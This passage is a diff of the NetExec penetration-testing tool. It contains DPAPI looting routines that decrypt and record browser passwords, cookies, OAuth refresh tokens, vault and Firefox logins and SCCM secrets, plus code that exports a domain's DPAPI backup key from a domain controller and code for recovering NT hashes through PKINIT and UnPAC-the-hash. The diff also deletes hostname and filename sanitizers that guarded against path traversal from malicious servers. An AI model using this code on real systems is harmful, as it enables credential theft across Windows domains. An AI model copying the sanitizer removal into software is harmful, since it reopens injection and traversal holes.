|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, GoogleRefreshToken):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.service,
|
||||
secret.token,
|
||||
"Google Refresh Token",
|
||||
)
|
||||
elif isinstance(secret, Cookie):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.log_secret(line)
|
||||
|
||||
try:
|
||||
browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
|
||||
browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey)
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting browsers: {e}")
|
||||
|
||||
def triage_vaults(self, masterkeys: list[Masterkey]):
|
||||
def vault_callback(secret):
|
||||
tag = "IEX"
|
||||
if secret.type == "Internet Explorer":
|
||||
resource = secret.resource + " -" if secret.resource != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.resource,
|
||||
)
|
||||
|
||||
try:
|
||||
# Collect User Internet Explorer stored secrets
|
||||
vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
|
||||
vaults_triage.triage_vaults()
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting vaults: {e}")
|
||||
|
||||
def triage_firefox(self):
|
||||
def firefox_callback(secret):
|
||||
tag = "FIREFOX"
|
||||
if isinstance(secret, FirefoxData):
|
||||
url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, FirefoxCookie):
|
||||
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.log_secret(line)
|
||||
|
||||
try:
|
||||
# Collect Firefox stored secrets
|
||||
firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback)
|
||||
firefox_triage.run(gather_cookies=self.dump_cookies)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting firefox: {e}")
|
||||
|
||||
# The dpapi function for every protocol
|
||||
def triage_dpapi(self):
|
||||
# Load masterkeys
|
||||
masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi)
|
||||
if len(masterkeys) == 0:
|
||||
# Nothing will be recovered if no masterkeys, so we can stop there
|
||||
self.connection.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.connection.logger.success("Looting secrets...")
|
||||
|
||||
# Calling all the triage functions. We can add other triage functions here
|
||||
self.triage_credentials(masterkeys)
|
||||
self.triage_chromium(masterkeys)
|
||||
self.triage_vaults(masterkeys)
|
||||
self.triage_firefox()
|
||||
|
||||
def triage_sccm(self):
|
||||
masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True)
|
||||
if len(masterkeys) == 0:
|
||||
self.connection.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.connection.logger.success("Looting SCCM Credentials")
|
||||
|
||||
def sccm_callback(secret):
|
||||
if isinstance(secret, SCCMCred):
|
||||
tag = "NAA Account"
|
||||
line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.username.decode("latin-1"),
|
||||
secret.password.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMSecret):
|
||||
tag = "Task sequences secret"
|
||||
line = f"[{tag}] {secret.secret.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
"N/A",
|
||||
secret.secret.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMCollection):
|
||||
tag = "Collection Variable"
|
||||
line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.variable.decode("latin-1"),
|
||||
secret.value.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
try:
|
||||
sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
|
||||
sccm_triage.triage_sccm()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting sccm: {e}")
|
||||
|
||||
@property
|
||||
def pvkbytes(self):
|
||||
"""
|
||||
The pvkbytes. If not already initialized, tries to set it
|
||||
The precedence order is the following :
|
||||
- Check the pvk argument
|
||||
- Checks in the DB
|
||||
- Get it from a domain controller
|
||||
"""
|
||||
# pvkbytes already loaded and in cache ? Serve it
|
||||
if self._pvkbytes is not None:
|
||||
return self._pvkbytes
|
||||
|
||||
pvkbytes = None
|
||||
|
||||
# First check the pvk argument and handle it
|
||||
if self.connection.args.pvk is not None:
|
||||
try:
|
||||
with open(self.connection.args.pvk, "rb") as fd:
|
||||
pvkbytes = fd.read()
|
||||
self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}")
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(str(e))
|
||||
|
||||
# If no pvkbytes yet, then we check in the DB
|
||||
if pvkbytes is None:
|
||||
try:
|
||||
results = self.connection.db.get_domain_backupkey(self.connection.domain)
|
||||
except Exception:
|
||||
self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
|
||||
return False
|
||||
if len(results) > 0:
|
||||
self.connection.logger.success("Loading domain backupkey from nxcdb...")
|
||||
pvkbytes = results[0][2]
|
||||
|
||||
# If no pvkbytes yet, then we can try to get it from a domain controller
|
||||
if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False:
|
||||
try:
|
||||
dc_target = SMBTarget.create(
|
||||
domain=self.connection.domain,
|
||||
username=self.connection.username,
|
||||
password=self.connection.password,
|
||||
address=self.connection.kdcHost, # querying DNS server for domain will return DC
|
||||
lmhash=self.connection.lmhash,
|
||||
nthash=self.connection.nthash,
|
||||
do_kerberos=self.connection.kerberos,
|
||||
aesKey=self.connection.aesKey,
|
||||
use_kcache=self.connection.use_kcache,
|
||||
)
|
||||
dc_conn = DPLootSMBConnection(dc_target)
|
||||
dc_conn.connect() # Connect to DC
|
||||
if dc_conn.is_admin():
|
||||
self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
pvkbytes = backupkey.backupkey_v2
|
||||
self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes)
|
||||
else:
|
||||
self.connection.no_da = False
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(f"Could not get domain backupkey: {e}")
|
||||
|
||||
self._pvkbytes = pvkbytes
|
||||
return self._pvkbytes
|
||||
@@ -1,12 +1,9 @@
|
||||
from contextlib import suppress
|
||||
from enum import Enum
|
||||
import hashlib
|
||||
import random
|
||||
import string
|
||||
import re
|
||||
import inspect
|
||||
import os
|
||||
from unicodedata import normalize
|
||||
from termcolor import colored
|
||||
from ipaddress import ip_address
|
||||
from nxc.logger import nxc_logger
|
||||
@@ -29,91 +26,6 @@ def gen_random_string(length=10):
|
||||
return "".join(random.sample(string.ascii_letters, int(length)))
|
||||
|
||||
|
||||
def sanitize_dns(hostname, logger=nxc_logger):
|
||||
"""Return an untrusted hostname or domain as a safe, nonempty string."""
|
||||
# Always provide a safe fallback, even for missing or unstringable input.
|
||||
if hostname is None:
|
||||
return "_"
|
||||
|
||||
try:
|
||||
hostname = hostname.decode("utf-8", errors="surrogateescape") if isinstance(hostname, bytes) else str(hostname)
|
||||
except Exception:
|
||||
return "_"
|
||||
if not hostname:
|
||||
return "_"
|
||||
|
||||
# Replace path, configuration, formatting, whitespace, and control characters.
|
||||
unsafe_characters = '<>:"/\\|?*{}[]=#;\'' # Portable paths, format strings, hosts files, and krb5.conf
|
||||
sanitized = "".join(
|
||||
character if character.isprintable()
|
||||
and not character.isspace()
|
||||
and character not in unsafe_characters
|
||||
and all(
|
||||
normalized_character.isprintable()
|
||||
and not normalized_character.isspace()
|
||||
and normalized_character not in unsafe_characters
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
else "_"
|
||||
for character in hostname
|
||||
)
|
||||
|
||||
# Neutralize traversal segments and Windows-trimmed trailing dots.
|
||||
if normalize("NFKC", sanitized) in (".", ".."):
|
||||
sanitized = "_" * len(sanitized)
|
||||
if sanitized.endswith(".") or normalize("NFKC", sanitized[-1]).endswith("."):
|
||||
sanitized = f"{sanitized[:-1]}_"
|
||||
|
||||
# Bound filename length while retaining a stable identifier for long names.
|
||||
if len(sanitized.encode("utf-8")) > 253:
|
||||
suffix = f"_{hashlib.sha256(hostname.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
|
||||
byte_length = 0
|
||||
truncated = []
|
||||
for character in sanitized:
|
||||
character_length = len(character.encode("utf-8"))
|
||||
if byte_length + character_length > 253 - len(suffix):
|
||||
break
|
||||
truncated.append(character)
|
||||
byte_length += character_length
|
||||
sanitized = f"{''.join(truncated)}{suffix}"
|
||||
|
||||
# Fail closed if a future change violates any output invariant.
|
||||
normalized = normalize("NFKC", sanitized)
|
||||
if (
|
||||
not sanitized
|
||||
or not normalized
|
||||
or len(sanitized.encode("utf-8")) > 253
|
||||
or normalized in (".", "..")
|
||||
or normalized.endswith(".")
|
||||
or any(
|
||||
not character.isprintable()
|
||||
or character.isspace()
|
||||
or character in unsafe_characters
|
||||
or any(
|
||||
not normalized_character.isprintable()
|
||||
or normalized_character.isspace()
|
||||
or normalized_character in unsafe_characters
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
for character in sanitized
|
||||
)
|
||||
):
|
||||
sanitized = "_"
|
||||
|
||||
# Report changed input without allowing logging failures to affect safety.
|
||||
if sanitized != hostname:
|
||||
received = ascii(hostname[:256])
|
||||
result = ascii(sanitized)
|
||||
if len(hostname) > 256 or len(received) > 256:
|
||||
received = f"{received[:253]}..."
|
||||
if len(result) > 256:
|
||||
result = f"{result[:253]}..."
|
||||
if logger is not None:
|
||||
with suppress(Exception):
|
||||
logger.fail(f"Unsafe hostname or domain received: {received}; using {result}")
|
||||
return sanitized
|
||||
|
||||
|
||||
def validate_ntlm(data):
|
||||
allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
|
||||
return bool(allowed.match(data))
|
||||
|
||||
@@ -12,7 +12,6 @@ import contextlib
|
||||
def parse_challenge(challange):
|
||||
target_info = {
|
||||
"hostname": None,
|
||||
"dns_hostname": None,
|
||||
"domain": None,
|
||||
"os_version": None
|
||||
}
|
||||
@@ -21,9 +20,6 @@ def parse_challenge(challange):
|
||||
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["dns_hostname"] = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode("utf-16le")
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
|
||||
|
||||
@@ -1,107 +0,0 @@
|
||||
import hashlib
|
||||
from pathlib import PurePosixPath
|
||||
import re
|
||||
from unicodedata import normalize
|
||||
|
||||
|
||||
def sanitize_path_component(name, max_bytes=255):
|
||||
"""Return one portable, bounded path component from untrusted input."""
|
||||
# Reserve enough space for one character and the collision-resistant suffix.
|
||||
if max_bytes < 14:
|
||||
raise ValueError("max_bytes must be at least 14")
|
||||
|
||||
# Always provide a safe fallback, even for missing or unstringable input.
|
||||
try:
|
||||
name = name.decode("utf-8", errors="surrogateescape") if isinstance(name, bytes) else str(name) if name is not None else ""
|
||||
except Exception:
|
||||
name = ""
|
||||
if not name:
|
||||
return "_"
|
||||
|
||||
# Replace path, control, and Unicode-equivalent metacharacters.
|
||||
unsafe_characters = '<>:"/\\|?*' # Portable filename metacharacters
|
||||
sanitized = "".join(
|
||||
character if character.isprintable()
|
||||
and character not in unsafe_characters
|
||||
and all(
|
||||
normalized_character.isprintable() and normalized_character not in unsafe_characters
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
else "_"
|
||||
for character in name
|
||||
)
|
||||
|
||||
# Neutralize traversal-only names and Windows-trimmed trailing dots or spaces.
|
||||
if normalize("NFKC", sanitized) in (".", ".."):
|
||||
sanitized = "_" * len(sanitized)
|
||||
while sanitized and (
|
||||
sanitized[-1] == "."
|
||||
or sanitized[-1].isspace()
|
||||
or normalize("NFKC", sanitized[-1]).endswith(".")
|
||||
or any(character.isspace() for character in normalize("NFKC", sanitized[-1]))
|
||||
):
|
||||
sanitized = f"{sanitized[:-1]}_"
|
||||
|
||||
# Avoid Windows device names, including names followed by an extension.
|
||||
normalized_stem = normalize("NFKC", sanitized).split(".", 1)[0].rstrip(" ").upper()
|
||||
if normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem):
|
||||
sanitized = f"_{sanitized}"
|
||||
|
||||
# Bound the byte length with a stable digest while preserving short extensions.
|
||||
if len(sanitized.encode("utf-8")) > max_bytes:
|
||||
digest = f"_{hashlib.sha256(name.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
|
||||
extension = ""
|
||||
extension_index = sanitized.rfind(".")
|
||||
if (
|
||||
extension_index > 0
|
||||
and len(sanitized[extension_index:].encode("utf-8")) <= 32
|
||||
and len(sanitized[extension_index:].encode("utf-8")) <= max_bytes - len(digest)
|
||||
):
|
||||
extension = sanitized[extension_index:]
|
||||
sanitized = sanitized[:extension_index]
|
||||
byte_length = 0
|
||||
truncated = []
|
||||
for character in sanitized:
|
||||
character_length = len(character.encode("utf-8"))
|
||||
if byte_length + character_length > max_bytes - len(digest) - len(extension.encode("utf-8")):
|
||||
break
|
||||
truncated.append(character)
|
||||
byte_length += character_length
|
||||
sanitized = f"{''.join(truncated)}{digest}{extension}"
|
||||
|
||||
# Fail closed if a future change violates any output invariant.
|
||||
normalized = normalize("NFKC", sanitized)
|
||||
normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper()
|
||||
if (
|
||||
not sanitized
|
||||
or not normalized
|
||||
or len(sanitized.encode("utf-8")) > max_bytes
|
||||
or normalized in (".", "..")
|
||||
or normalized.endswith(".")
|
||||
or normalized[-1].isspace()
|
||||
or normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"}
|
||||
or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem)
|
||||
or any(
|
||||
not character.isprintable()
|
||||
or character in unsafe_characters
|
||||
or any(
|
||||
not normalized_character.isprintable() or normalized_character in unsafe_characters
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
for character in sanitized
|
||||
)
|
||||
):
|
||||
return "_"
|
||||
return sanitized
|
||||
|
||||
|
||||
def sanitize_filename(name: str) -> str:
|
||||
"""Strip path traversal components from an SMB filename.
|
||||
|
||||
Follows the pattern from spider_plus.py — filters '..' and '.' from
|
||||
PurePosixPath.parts to prevent directory traversal attacks from
|
||||
malicious SMB servers.
|
||||
"""
|
||||
parts = PurePosixPath(name.replace("\\", "/")).parts
|
||||
clean = [p for p in parts if p not in ("..", ".", "/")]
|
||||
return str(PurePosixPath(*clean)) if clean else ""
|
||||
+534
-180
@@ -1,216 +1,570 @@
|
||||
# Certificate authentication for nxc: PKINIT (RFC 4556) through impacket, plus UnPAC the hash
|
||||
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
# Dirk-jan Mollema (@_dirkjan)
|
||||
#
|
||||
# Description:
|
||||
# This script will use an existing TGT to request a PAC for the current user using U2U.
|
||||
# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
|
||||
# used for silver tickets and for backwards compatibility with other tooling.
|
||||
#
|
||||
# References:
|
||||
# PKINIT: https://www.rfc-editor.org/rfc/rfc4556
|
||||
#
|
||||
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
|
||||
#
|
||||
# Authors:
|
||||
# Azox (@azoxlpf) for the PKINIT implementation, in impacket and in nxc
|
||||
# Dirk-jan Mollema (@_dirkjan) for the original UnPAC the hash implementation
|
||||
# Based on examples from minikerberos by skelsec
|
||||
# Parts of this code was inspired by the following project by @rubin_mor
|
||||
# https://github.com/morRubin/AzureADJoinedMachinePTC
|
||||
#
|
||||
# Author:
|
||||
# Tamas Jos (@skelsec)
|
||||
# Dirk-jan Mollema (@_dirkjan)
|
||||
#
|
||||
|
||||
import base64
|
||||
import datetime
|
||||
import os
|
||||
import secrets
|
||||
import hashlib
|
||||
import datetime
|
||||
import random
|
||||
import tempfile
|
||||
import base64
|
||||
|
||||
from binascii import hexlify
|
||||
from binascii import unhexlify, hexlify
|
||||
|
||||
from cryptography.hazmat.primitives import hashes, serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import padding, rsa
|
||||
from cryptography.hazmat.primitives.serialization import pkcs12
|
||||
from cryptography.x509 import load_pem_x509_certificate, load_der_x509_certificate
|
||||
|
||||
from asn1crypto import cms
|
||||
from asn1crypto import algos
|
||||
from asn1crypto import core
|
||||
from asn1crypto import keys
|
||||
from asn1crypto import x509
|
||||
|
||||
from minikerberos.protocol.dirtydh import DirtyDH
|
||||
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
|
||||
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
|
||||
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
|
||||
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
|
||||
|
||||
from pyasn1.codec.der import decoder, encoder
|
||||
from pyasn1.error import PyAsn1Error
|
||||
from pyasn1.type.univ import noValue
|
||||
|
||||
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.asn1 import AD_IF_RELEVANT, AP_REQ, AS_REP, Authenticator, EncTicketPart, TGS_REP, TGS_REQ, Ticket as TicketAsn1, seq_set, seq_set_iter
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.crypto import InvalidChecksum, _enctype_table
|
||||
from impacket.krb5.kerberosv5 import KerberosError, sendReceive
|
||||
from impacket.krb5.pac import NTLM_SUPPLEMENTAL_CREDENTIAL, PACTYPE, PAC_CREDENTIAL_DATA, PAC_CREDENTIAL_INFO, PAC_INFO_BUFFER
|
||||
from impacket.krb5.pkinit import PKINITCredentials, PKINITError, getKerberosTGTPKINIT
|
||||
from impacket.krb5.types import KerberosTime, Principal, Ticket
|
||||
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
|
||||
from impacket.krb5.kerberosv5 import sendReceive
|
||||
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
|
||||
PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
|
||||
from impacket.krb5.types import Principal, KerberosTime, Ticket
|
||||
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH, TMP_PATH
|
||||
# Imports for pfx_auth
|
||||
from minikerberos.network.clientsocket import KerberosClientSocket
|
||||
from minikerberos.common.target import KerberosTarget
|
||||
from minikerberos.common.ccache import CCACHE
|
||||
|
||||
from impacket.krb5.ccache import CCache as impacket_CCache
|
||||
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
def pkinit_credentials(args):
|
||||
"""Load the client certificate and its private key as the PKINIT credentials impacket expects"""
|
||||
if args.pfx_cert:
|
||||
return PKINITCredentials.fromPFX(args.pfx_cert, args.pfx_pass)
|
||||
def _load_asn1_certificate(data):
|
||||
"""Load a certificate as an asn1crypto object, accepting both PEM and DER input
|
||||
|
||||
if args.pfx_base64:
|
||||
with open(args.pfx_base64, "rb") as pfx_base64_file:
|
||||
pfxdata = base64.b64decode(pfx_base64_file.read())
|
||||
return PKINITCredentials.fromPFXData(pfxdata, args.pfx_pass, source=f"the base64 PFX file {args.pfx_base64}")
|
||||
|
||||
if args.pem_cert and args.pem_key:
|
||||
return PKINITCredentials.fromPEM(args.pem_cert, args.pem_key, args.pfx_pass)
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def read_nt_hash_from_pac(connection, enc_ticket_part, reply_key):
|
||||
"""Return the NT hash held by the PAC_CREDENTIAL_INFO of a ticket, or None when the PAC carries none"""
|
||||
decoded_ticket_part = decoder.decode(enc_ticket_part, asn1Spec=EncTicketPart())[0]
|
||||
ad_if_relevant = decoder.decode(decoded_ticket_part["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[0]
|
||||
pac_type = PACTYPE(ad_if_relevant[0]["ad-data"].asOctets())
|
||||
|
||||
buffers = pac_type["Buffers"]
|
||||
for _ in range(pac_type["cBuffers"]):
|
||||
info_buffer = PAC_INFO_BUFFER(buffers)
|
||||
buffers = buffers[len(info_buffer):]
|
||||
connection.logger.debug(f"PAC buffer type {info_buffer['ulType']}")
|
||||
if info_buffer["ulType"] != 2: # PAC_CREDENTIAL_INFO
|
||||
continue
|
||||
|
||||
credential_info = PAC_CREDENTIAL_INFO(pac_type["Buffers"][info_buffer["Offset"] - 8:][:info_buffer["cbBufferSize"]])
|
||||
cipher = _enctype_table[credential_info["EncryptionType"]]
|
||||
# Key usage 16: the PAC credential info, encrypted with the AS reply key
|
||||
credential_data = cipher.decrypt(reply_key, 16, credential_info["SerializedData"])
|
||||
serialization_header = TypeSerialization1(credential_data)
|
||||
# Skip the 4 bytes of the ReferentID of the pointer following the header
|
||||
credentials = PAC_CREDENTIAL_DATA(credential_data[len(serialization_header) + 4:])
|
||||
for credential in credentials["Credentials"]:
|
||||
supplemental_credential = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(credential["Credentials"]))
|
||||
return hexlify(supplemental_credential["NtPassword"]).decode()
|
||||
|
||||
connection.logger.fail("The PAC holds no PAC_CREDENTIAL_INFO: the account has no NT hash stored, or the TGT did not come from PKINIT")
|
||||
return None
|
||||
|
||||
|
||||
def unpac_the_hash(connection, username, tgt, cipher, reply_key, session_key):
|
||||
"""Recover the NT hash of the account the TGT belongs to, through a U2U service ticket to itself
|
||||
|
||||
Only a PKINIT AS-REP carries a PAC_CREDENTIAL_INFO, and the KDC encrypts it with the AS reply key,
|
||||
which the TGT does not expose: it has to be read from a ticket requested with that very TGT.
|
||||
Returns None, after logging why, when the hash cannot be recovered
|
||||
The certificate is parsed by cryptography and re-encoded, so that malformed input is
|
||||
rejected here instead of failing later inside asn1crypto, which parses lazily
|
||||
"""
|
||||
decoded_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0]
|
||||
ticket = Ticket()
|
||||
ticket.from_asn1(decoded_tgt["ticket"])
|
||||
realm = str(decoded_tgt["crealm"])
|
||||
now = datetime.datetime.now(datetime.UTC)
|
||||
|
||||
client_name = Principal()
|
||||
client_name.from_asn1(decoded_tgt, "crealm", "cname")
|
||||
|
||||
authenticator = Authenticator()
|
||||
authenticator["authenticator-vno"] = 5
|
||||
authenticator["crealm"] = realm
|
||||
seq_set(authenticator, "cname", client_name.components_to_asn1)
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = KerberosTime.to_asn1(now)
|
||||
connection.logger.debug(f"U2U authenticator: {authenticator.prettyPrint()}")
|
||||
|
||||
ap_req = AP_REQ()
|
||||
ap_req["pvno"] = 5
|
||||
ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||
ap_req["ap-options"] = constants.encodeFlags([])
|
||||
seq_set(ap_req, "ticket", ticket.to_asn1)
|
||||
ap_req["authenticator"] = noValue
|
||||
ap_req["authenticator"]["etype"] = cipher.enctype
|
||||
# Key usage 7: the AP-REQ authenticator of a PA-TGS-REQ, encrypted with the TGT session key
|
||||
ap_req["authenticator"]["cipher"] = cipher.encrypt(session_key, 7, encoder.encode(authenticator), None)
|
||||
|
||||
tgs_req = TGS_REQ()
|
||||
tgs_req["pvno"] = 5
|
||||
tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
|
||||
tgs_req["padata"] = noValue
|
||||
tgs_req["padata"][0] = noValue
|
||||
tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
|
||||
tgs_req["padata"][0]["padata-value"] = encoder.encode(ap_req)
|
||||
|
||||
req_body = seq_set(tgs_req, "req-body")
|
||||
req_body["kdc-options"] = constants.encodeFlags([constants.KDCOptions.forwardable.value, constants.KDCOptions.renewable.value, constants.KDCOptions.canonicalize.value, constants.KDCOptions.enc_tkt_in_skey.value])
|
||||
req_body["realm"] = realm
|
||||
seq_set(req_body, "sname", Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value).components_to_asn1)
|
||||
req_body["till"] = KerberosTime.to_asn1(now + datetime.timedelta(days=1))
|
||||
req_body["nonce"] = random.getrandbits(31)
|
||||
seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
|
||||
seq_set_iter(req_body, "additional-tickets", (ticket.to_asn1(TicketAsn1()),))
|
||||
|
||||
connection.logger.info("Requesting a U2U service ticket to ourselves to read the PAC")
|
||||
try:
|
||||
response = sendReceive(encoder.encode(tgs_req), connection.domain, connection.kdcHost)
|
||||
tgs_rep = decoder.decode(response, asn1Spec=TGS_REP())[0]
|
||||
connection.logger.debug(f"U2U TGS-REP: {tgs_rep.prettyPrint()}")
|
||||
# Key usage 2: with enc-tkt-in-skey the ticket is encrypted with the session key of the TGT sent along
|
||||
enc_ticket_part = cipher.decrypt(session_key, 2, tgs_rep["ticket"]["enc-part"]["cipher"])
|
||||
return read_nt_hash_from_pac(connection, enc_ticket_part, reply_key)
|
||||
except (KerberosError, InvalidChecksum, PyAsn1Error, OSError, IndexError, KeyError) as e: # IndexError: empty AD-IF-RELEVANT, KeyError: unknown etype
|
||||
connection.logger.fail(f"Failed to unPAC the hash: {e}")
|
||||
return None
|
||||
cert = load_pem_x509_certificate(data) if b"-----BEGIN" in data else load_der_x509_certificate(data)
|
||||
return _to_asn1_certificate(cert)
|
||||
|
||||
|
||||
def pfx_auth(self, domain, username):
|
||||
"""Authenticate with a client certificate through PKINIT, then optionally unPAC the NT hash"""
|
||||
if not self.kdcHost:
|
||||
self.logger.fail(f"Could not resolve KDC host for domain {domain}. Use --kdcHost to specify the domain controller IP")
|
||||
return False
|
||||
def _to_asn1_certificate(cert):
|
||||
"""Convert a cryptography certificate to the asn1crypto object the CMS structures need"""
|
||||
return x509.Certificate.load(cert.public_bytes(serialization.Encoding.DER))
|
||||
|
||||
|
||||
def _check_rsa_privkey(privkey):
|
||||
"""PKINIT signing here is RSA PKCS#1 v1.5 only, so reject anything else early"""
|
||||
if not isinstance(privkey, rsa.RSAPrivateKey):
|
||||
raise Exception(f"PKINIT requires an RSA private key, got {type(privkey).__name__}")
|
||||
return privkey
|
||||
|
||||
|
||||
class myPKINIT:
|
||||
"""
|
||||
Copy of minikerberos PKINIT
|
||||
With some changes where it differs from PKINIT used in NegoEx
|
||||
|
||||
This does not subclass minikerberos.pkinit.PKINIT on purpose: that module imports oscrypto,
|
||||
which fails at import time on any OpenSSL whose version has a two digit component
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.privkey = None
|
||||
self.certificate = None
|
||||
self.issuer = None
|
||||
self.cname = None
|
||||
self.diffie = None
|
||||
|
||||
@staticmethod
|
||||
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
|
||||
